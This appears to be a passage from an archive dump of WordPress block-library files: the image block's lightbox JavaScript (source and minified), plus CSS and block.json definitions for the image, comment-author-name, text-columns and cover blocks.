zoom in further on the high-res image. if (!isTouching && Date.now() - lastTouchTime > 450) { // It doesn't rely on `event.preventDefault()` to prevent scrolling // because the scroll event can't be canceled, so it resets the // position instead. window.scrollTo(state.scrollLeftReset, state.scrollTopReset); } } } }, callbacks: { setOverlayStyles() { if (!state.overlayEnabled) { return; } let { naturalWidth, naturalHeight, offsetWidth: originalWidth, offsetHeight: originalHeight } = state.currentImage.imageRef; let { x: screenPosX, y: screenPosY } = state.currentImage.imageRef.getBoundingClientRect(); // Natural ratio of the image clicked to open the lightbox. const naturalRatio = naturalWidth / naturalHeight; // Original ratio of the image clicked to open the lightbox. let originalRatio = originalWidth / originalHeight; // If it has object-fit: contain, recalculates the original sizes // and the screen position without the blank spaces. if (state.currentImage.scaleAttr === 'contain') { if (naturalRatio > originalRatio) { const heightWithoutSpace = originalWidth / naturalRatio; // Recalculates screen position without the top space. screenPosY += (originalHeight - heightWithoutSpace) / 2; originalHeight = heightWithoutSpace; } else { const widthWithoutSpace = originalHeight * naturalRatio; // Recalculates screen position without the left space. screenPosX += (originalWidth - widthWithoutSpace) / 2; originalWidth = widthWithoutSpace; } } originalRatio = originalWidth / originalHeight; // Typically, it uses the image's full-sized dimensions. If those // dimensions have not been set (i.e. an external image with only one // size), the image's dimensions in the lightbox are the same // as those of the image in the content. let imgMaxWidth = parseFloat(state.currentImage.targetWidth !== 'none' ? state.currentImage.targetWidth : naturalWidth); let imgMaxHeight = parseFloat(state.currentImage.targetHeight !== 'none' ? state.currentImage.targetHeight : naturalHeight); // Ratio of the biggest image stored in the database. let imgRatio = imgMaxWidth / imgMaxHeight; let containerMaxWidth = imgMaxWidth; let containerMaxHeight = imgMaxHeight; let containerWidth = imgMaxWidth; let containerHeight = imgMaxHeight; // Checks if the target image has a different ratio than the original // one (thumbnail). Recalculates the width and height. if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) { if (naturalRatio > imgRatio) { // If the width is reached before the height, it keeps the maxWidth // and recalculates the height unless the difference between the // maxHeight and the reducedHeight is higher than the maxWidth, // where it keeps the reducedHeight and recalculate the width. const reducedHeight = imgMaxWidth / naturalRatio; if (imgMaxHeight - reducedHeight > imgMaxWidth) { imgMaxHeight = reducedHeight; imgMaxWidth = reducedHeight * naturalRatio; } else { imgMaxHeight = imgMaxWidth / naturalRatio; } } else { // If the height is reached before the width, it keeps the maxHeight // and recalculate the width unlesss the difference between the // maxWidth and the reducedWidth is higher than the maxHeight, where // it keeps the reducedWidth and recalculate the height. const reducedWidth = imgMaxHeight * naturalRatio; if (imgMaxWidth - reducedWidth > imgMaxHeight) { imgMaxWidth = reducedWidth; imgMaxHeight = reducedWidth / naturalRatio; } else { imgMaxWidth = imgMaxHeight * naturalRatio; } } containerWidth = imgMaxWidth; containerHeight = imgMaxHeight; imgRatio = imgMaxWidth / imgMaxHeight; // Calculates the max size of the container. if (originalRatio > imgRatio) { containerMaxWidth = imgMaxWidth; containerMaxHeight = containerMaxWidth / originalRatio; } else { containerMaxHeight = imgMaxHeight; containerMaxWidth = containerMaxHeight * originalRatio; } } // If the image has been pixelated on purpose, it keeps that size. if (originalWidth > containerWidth || originalHeight > containerHeight) { containerWidth = originalWidth; containerHeight = originalHeight; } // Calculates the final lightbox image size and the scale factor. // MaxWidth is either the window container (accounting for padding) or // the image resolution. let horizontalPadding = 0; if (window.innerWidth > 480) { horizontalPadding = 80; } else if (window.innerWidth > 1920) { horizontalPadding = 160; } const verticalPadding = 80; const targetMaxWidth = Math.min(window.innerWidth - horizontalPadding, containerWidth); const targetMaxHeight = Math.min(window.innerHeight - verticalPadding, containerHeight); const targetContainerRatio = targetMaxWidth / targetMaxHeight; if (originalRatio > targetContainerRatio) { // If targetMaxWidth is reached before targetMaxHeight. containerWidth = targetMaxWidth; containerHeight = containerWidth / originalRatio; } else { // If targetMaxHeight is reached before targetMaxWidth. containerHeight = targetMaxHeight; containerWidth = containerHeight * originalRatio; } const containerScale = originalWidth / containerWidth; const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth); const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight); // As of this writing, using the calculations above will render the // lightbox with a small, erroneous whitespace on the left side of the // image in iOS Safari, perhaps due to an inconsistency in how browsers // handle absolute positioning and CSS transformation. In any case, // adding 1 pixel to the container width and height solves the problem, // though this can be removed if the issue is fixed in the future. state.overlayStyles = ` :root { --wp--lightbox-initial-top-position: ${screenPosY}px; --wp--lightbox-initial-left-position: ${screenPosX}px; --wp--lightbox-container-width: ${containerWidth + 1}px; --wp--lightbox-container-height: ${containerHeight + 1}px; --wp--lightbox-image-width: ${lightboxImgWidth}px; --wp--lightbox-image-height: ${lightboxImgHeight}px; --wp--lightbox-scale: ${containerScale}; --wp--lightbox-scrollbar-width: ${window.innerWidth - document.documentElement.clientWidth}px; } `; }, setButtonStyles() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); const { ref } = (0,interactivity_namespaceObject.getElement)(); state.metadata[imageId].imageRef = ref; state.metadata[imageId].currentSrc = ref.currentSrc; const { naturalWidth, naturalHeight, offsetWidth, offsetHeight } = ref; // If the image isn't loaded yet, it can't calculate where the button // should be. if (naturalWidth === 0 || naturalHeight === 0) { return; } const figure = ref.parentElement; const figureWidth = ref.parentElement.clientWidth; // It needs special handling for the height because a caption will cause // the figure to be taller than the image, which means it needs to // account for that when calculating the placement of the button in the // top right corner of the image. let figureHeight = ref.parentElement.clientHeight; const caption = figure.querySelector('figcaption'); if (caption) { const captionComputedStyle = window.getComputedStyle(caption); if (!['absolute', 'fixed'].includes(captionComputedStyle.position)) { figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom); } } const buttonOffsetTop = figureHeight - offsetHeight; const buttonOffsetRight = figureWidth - offsetWidth; let imageButtonTop = buttonOffsetTop + 16; let imageButtonRight = buttonOffsetRight + 16; // In the case of an image with object-fit: contain, the size of the // element can be larger than the image itself, so it needs to // calculate where to place the button. if (state.metadata[imageId].scaleAttr === 'contain') { // Natural ratio of the image. const naturalRatio = naturalWidth / naturalHeight; // Offset ratio of the image. const offsetRatio = offsetWidth / offsetHeight; if (naturalRatio >= offsetRatio) { // If it reaches the width first, it keeps the width and compute the // height. const referenceHeight = offsetWidth / naturalRatio; imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16; imageButtonRight = buttonOffsetRight + 16; } else { // If it reaches the height first, it keeps the height and compute // the width. const referenceWidth = offsetHeight * naturalRatio; imageButtonTop = buttonOffsetTop + 16; imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16; } } state.metadata[imageId].imageButtonTop = imageButtonTop; state.metadata[imageId].imageButtonRight = imageButtonRight; }, setOverlayFocus() { if (state.overlayEnabled) { // Moves the focus to the dialog when it opens. const { ref } = (0,interactivity_namespaceObject.getElement)(); ref.focus(); } }, initTriggerButton() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); const { ref } = (0,interactivity_namespaceObject.getElement)(); state.metadata[imageId].buttonRef = ref; } } }, { lock: true }); blocks/image/view.min.js000064400000010763147177035020011212 0ustar00import*as t from"@wordpress/interactivity";var e={d:(t,n)=>{for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const n=(t=>{var n={};return e.d(n,t),n})({getContext:()=>t.getContext,getElement:()=>t.getElement,store:()=>t.store});let o=!1,a=0;const{state:r,actions:i,callbacks:l}=(0,n.store)("core/image",{state:{currentImageId:null,get currentImage(){return r.metadata[r.currentImageId]},get overlayOpened(){return null!==r.currentImageId},get roleAttribute(){return r.overlayOpened?"dialog":null},get ariaModal(){return r.overlayOpened?"true":null},get enlargedSrc(){return r.currentImage.uploadedSrc||"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="},get figureStyles(){return r.overlayOpened&&`${r.currentImage.figureStyles?.replace(/margin[^;]*;?/g,"")};`},get imgStyles(){return r.overlayOpened&&`${r.currentImage.imgStyles?.replace(/;$/,"")}; object-fit:cover;`},get imageButtonRight(){const{imageId:t}=(0,n.getContext)();return r.metadata[t].imageButtonRight},get imageButtonTop(){const{imageId:t}=(0,n.getContext)();return r.metadata[t].imageButtonTop},get isContentHidden(){const t=(0,n.getContext)();return r.overlayEnabled&&r.currentImageId===t.imageId},get isContentVisible(){const t=(0,n.getContext)();return!r.overlayEnabled&&r.currentImageId===t.imageId}},actions:{showLightbox(){const{imageId:t}=(0,n.getContext)();r.metadata[t].imageRef?.complete&&(r.scrollTopReset=document.documentElement.scrollTop,r.scrollLeftReset=document.documentElement.scrollLeft,r.overlayEnabled=!0,r.currentImageId=t,l.setOverlayStyles())},hideLightbox(){r.overlayEnabled&&(r.showClosingAnimation=!0,r.overlayEnabled=!1,setTimeout((function(){r.currentImage.buttonRef.focus({preventScroll:!0}),r.currentImageId=null}),450))},handleKeydown(t){if(r.overlayEnabled){if("Tab"===t.key){t.preventDefault();const{ref:e}=(0,n.getElement)();e.querySelector("button").focus()}"Escape"===t.key&&i.hideLightbox()}},handleTouchMove(t){r.overlayEnabled&&t.preventDefault()},handleTouchStart(){o=!0},handleTouchEnd(){a=Date.now(),o=!1},handleScroll(){r.overlayOpened&&!o&&Date.now()-a>450&&window.scrollTo(r.scrollLeftReset,r.scrollTopReset)}},callbacks:{setOverlayStyles(){if(!r.overlayEnabled)return;let{naturalWidth:t,naturalHeight:e,offsetWidth:n,offsetHeight:o}=r.currentImage.imageRef,{x:a,y:i}=r.currentImage.imageRef.getBoundingClientRect();const l=t/e;let g=n/o;if("contain"===r.currentImage.scaleAttr)if(l>g){const t=n/l;i+=(o-t)/2,o=t}else{const t=o*l;a+=(n-t)/2,n=t}g=n/o;let c=parseFloat("none"!==r.currentImage.targetWidth?r.currentImage.targetWidth:t),s=parseFloat("none"!==r.currentImage.targetHeight?r.currentImage.targetHeight:e),d=c/s,u=c,m=s,h=c,p=s;if(l.toFixed(2)!==d.toFixed(2)){if(l>d){const t=c/l;s-t>c?(s=t,c=t*l):s=c/l}else{const t=s*l;c-t>s?(c=t,s=t/l):c=s*l}h=c,p=s,d=c/s,g>d?(u=c,m=u/g):(m=s,u=m*g)}(n>h||o>p)&&(h=n,p=o);let f=0;window.innerWidth>480?f=80:window.innerWidth>1920&&(f=160);const y=Math.min(window.innerWidth-f,h),b=Math.min(window.innerHeight-80,p);g>y/b?(h=y,p=h/g):(p=b,h=p*g);const w=n/h,I=c*(h/u),x=s*(p/m);r.overlayStyles=`\n\t\t\t\t:root {\n\t\t\t\t\t--wp--lightbox-initial-top-position: ${i}px;\n\t\t\t\t\t--wp--lightbox-initial-left-position: ${a}px;\n\t\t\t\t\t--wp--lightbox-container-width: ${h+1}px;\n\t\t\t\t\t--wp--lightbox-container-height: ${p+1}px;\n\t\t\t\t\t--wp--lightbox-image-width: ${I}px;\n\t\t\t\t\t--wp--lightbox-image-height: ${x}px;\n\t\t\t\t\t--wp--lightbox-scale: ${w};\n\t\t\t\t\t--wp--lightbox-scrollbar-width: ${window.innerWidth-document.documentElement.clientWidth}px;\n\t\t\t\t}\n\t\t\t`},setButtonStyles(){const{imageId:t}=(0,n.getContext)(),{ref:e}=(0,n.getElement)();r.metadata[t].imageRef=e,r.metadata[t].currentSrc=e.currentSrc;const{naturalWidth:o,naturalHeight:a,offsetWidth:i,offsetHeight:l}=e;if(0===o||0===a)return;const g=e.parentElement,c=e.parentElement.clientWidth;let s=e.parentElement.clientHeight;const d=g.querySelector("figcaption");if(d){const t=window.getComputedStyle(d);["absolute","fixed"].includes(t.position)||(s=s-d.offsetHeight-parseFloat(t.marginTop)-parseFloat(t.marginBottom))}const u=s-l,m=c-i;let h=u+16,p=m+16;if("contain"===r.metadata[t].scaleAttr){const t=o/a;if(t>=i/l){h=(l-i/t)/2+u+16,p=m+16}else{h=u+16,p=(i-l*t)/2+m+16}}r.metadata[t].imageButtonTop=h,r.metadata[t].imageButtonRight=p},setOverlayFocus(){if(r.overlayEnabled){const{ref:t}=(0,n.getElement)();t.focus()}},initTriggerButton(){const{imageId:t}=(0,n.getContext)(),{ref:e}=(0,n.getElement)();r.metadata[t].buttonRef=e}}},{lock:!0});blocks/image/theme.min.css000064400000000213147177035020011503 0ustar00.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}blocks/image/theme.css000064400000003146147177035020010731 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-image figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-image figcaption { color: rgba(255, 255, 255, 0.65); }blocks/image/theme-rtl.css000064400000003146147177035020011530 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-image figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-image figcaption { color: rgba(255, 255, 255, 0.65); }blocks/image/style.css000064400000007347147177035020010776 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-image { margin: 0 0 1em 0; } .wp-block-image img { height: auto; max-width: 100%; vertical-align: bottom; } .wp-block-image:not(.is-style-rounded) > a, .wp-block-image:not(.is-style-rounded) img { border-radius: inherit; } .wp-block-image.aligncenter { text-align: center; } .wp-block-image.alignfull img, .wp-block-image.alignwide img { height: auto; width: 100%; } .wp-block-image.alignleft, .wp-block-image.alignright, .wp-block-image.aligncenter, .wp-block-image .alignleft, .wp-block-image .alignright, .wp-block-image .aligncenter { display: table; } .wp-block-image.alignleft > figcaption, .wp-block-image.alignright > figcaption, .wp-block-image.aligncenter > figcaption, .wp-block-image .alignleft > figcaption, .wp-block-image .alignright > figcaption, .wp-block-image .aligncenter > figcaption { display: table-caption; caption-side: bottom; } .wp-block-image .alignleft { /*rtl:ignore*/ float: left; /*rtl:ignore*/ margin-left: 0; margin-right: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .alignright { /*rtl:ignore*/ float: right; /*rtl:ignore*/ margin-right: 0; margin-left: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .aligncenter { margin-left: auto; margin-right: auto; } .wp-block-image figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-image.is-style-rounded img, .wp-block-image .is-style-rounded img { border-radius: 9999px; } .wp-block-image.is-style-circle-mask img { border-radius: 9999px; } @supports ((-webkit-mask-image: none) or (mask-image: none)) or (-webkit-mask-image: none) { .wp-block-image.is-style-circle-mask img { /* stylelint-disable */ -webkit-mask-image: url('data:image/svg+xml;utf8,'); mask-image: url('data:image/svg+xml;utf8,'); /* stylelint-enable */ mask-mode: alpha; -webkit-mask-repeat: no-repeat; mask-repeat: no-repeat; -webkit-mask-size: contain; mask-size: contain; -webkit-mask-position: center; mask-position: center; border-radius: 0; } } .wp-block-image figure { margin: 0; }blocks/image/view.min.asset.php000064400000000124147177035020012471 0ustar00 array(), 'version' => 'ff354d5368d64857fef0'); blocks/comment-author-name/style.min.css000064400000000064147177035020014343 0ustar00.wp-block-comment-author-name{box-sizing:border-box}blocks/comment-author-name/style-rtl.css000064400000000071147177035020014356 0ustar00.wp-block-comment-author-name{ box-sizing:border-box; }blocks/comment-author-name/block.json000064400000002010147177035020013665 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/comment-author-name", "title": "Comment Author Name", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the name of the author of the comment.", "textdomain": "default", "attributes": { "isLink": { "type": "boolean", "default": true }, "linkTarget": { "type": "string", "default": "_self" }, "textAlign": { "type": "string" } }, "usesContext": [ "commentId" ], "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true } } } blocks/comment-author-name/style-rtl.min.css000064400000000064147177035020015142 0ustar00.wp-block-comment-author-name{box-sizing:border-box}blocks/comment-author-name/style.css000064400000000071147177035020013557 0ustar00.wp-block-comment-author-name{ box-sizing:border-box; }blocks/text-columns/editor-rtl.css000064400000003033147177035020013267 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-text-columns .block-editor-rich-text__editable:focus { outline: 1px solid #ddd; }blocks/text-columns/style.min.css000064400000000704147177035020013126 0ustar00.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}blocks/text-columns/editor.css000064400000003033147177035020012470 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-text-columns .block-editor-rich-text__editable:focus { outline: 1px solid #ddd; }blocks/text-columns/style-rtl.css000064400000003755147177035020013154 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-text-columns { display: flex; } .wp-block-text-columns.aligncenter { display: flex; } .wp-block-text-columns .wp-block-column { margin: 0 1em; padding: 0; } .wp-block-text-columns .wp-block-column:first-child { margin-right: 0; } .wp-block-text-columns .wp-block-column:last-child { margin-left: 0; } .wp-block-text-columns.columns-2 .wp-block-column { width: calc(100% / 2); } .wp-block-text-columns.columns-3 .wp-block-column { width: calc(100% / 3); } .wp-block-text-columns.columns-4 .wp-block-column { width: calc(100% / 4); }blocks/text-columns/editor.min.css000064400000000126147177035020013252 0ustar00.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}blocks/text-columns/block.json000064400000001332147177035020012455 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/text-columns", "title": "Text Columns (deprecated)", "icon": "columns", "category": "design", "description": "This block is deprecated. Please use the Columns block instead.", "textdomain": "default", "attributes": { "content": { "type": "array", "source": "query", "selector": "p", "query": { "children": { "type": "string", "source": "html" } }, "default": [ {}, {} ] }, "columns": { "type": "number", "default": 2 }, "width": { "type": "string" } }, "supports": { "inserter": false }, "editorStyle": "wp-block-text-columns-editor", "style": "wp-block-text-columns" } blocks/text-columns/style-rtl.min.css000064400000000704147177035020013725 0ustar00.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}blocks/text-columns/editor-rtl.min.css000064400000000126147177035020014051 0ustar00.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}blocks/text-columns/style.css000064400000003755147177035020012355 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-text-columns { display: flex; } .wp-block-text-columns.aligncenter { display: flex; } .wp-block-text-columns .wp-block-column { margin: 0 1em; padding: 0; } .wp-block-text-columns .wp-block-column:first-child { margin-left: 0; } .wp-block-text-columns .wp-block-column:last-child { margin-right: 0; } .wp-block-text-columns.columns-2 .wp-block-column { width: calc(100% / 2); } .wp-block-text-columns.columns-3 .wp-block-column { width: calc(100% / 3); } .wp-block-text-columns.columns-4 .wp-block-column { width: calc(100% / 4); }blocks/cover/editor-rtl.css000064400000006362147177035020011753 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-cover { /* Extra specificity needed because the reset.css applied in the editor context is overriding this rule. */ } .editor-styles-wrapper .wp-block-cover { box-sizing: border-box; } .wp-block-cover.is-placeholder { min-height: auto !important; padding: 0 !important; } .wp-block-cover.is-placeholder .block-library-cover__resize-container { display: none; } .wp-block-cover.is-placeholder .components-placeholder.is-large { min-height: 240px; justify-content: flex-start; z-index: 1; } .wp-block-cover.is-placeholder .components-placeholder.is-large + .block-library-cover__resize-container { min-height: 240px; display: block; } .wp-block-cover.components-placeholder h2 { color: inherit; } .wp-block-cover.is-transient::before { background-color: #fff; opacity: 0.3; } .wp-block-cover .components-spinner { position: absolute; z-index: 1; top: 50%; right: 50%; transform: translate(50%, -50%); margin: 0; } .wp-block-cover .block-editor-block-list__layout { width: 100%; } .wp-block-cover .wp-block-cover__inner-container { text-align: right; margin-right: 0; margin-left: 0; } .wp-block-cover .wp-block-cover__placeholder-background-options { width: 100%; } [data-align=left] > .wp-block-cover, [data-align=right] > .wp-block-cover { max-width: 420px; width: 100%; } .block-library-cover__reset-button { margin-right: auto; } .block-library-cover__resize-container { position: absolute !important; top: 0; right: 0; left: 0; bottom: 0; min-height: 50px; } .block-library-cover__resize-container:not(.is-resizing) { height: auto !important; } .wp-block-cover > .components-drop-zone .components-drop-zone__content { opacity: 0.8 !important; } .block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover { background-attachment: scroll; }blocks/cover/style.min.css000064400000040021147177035020011576 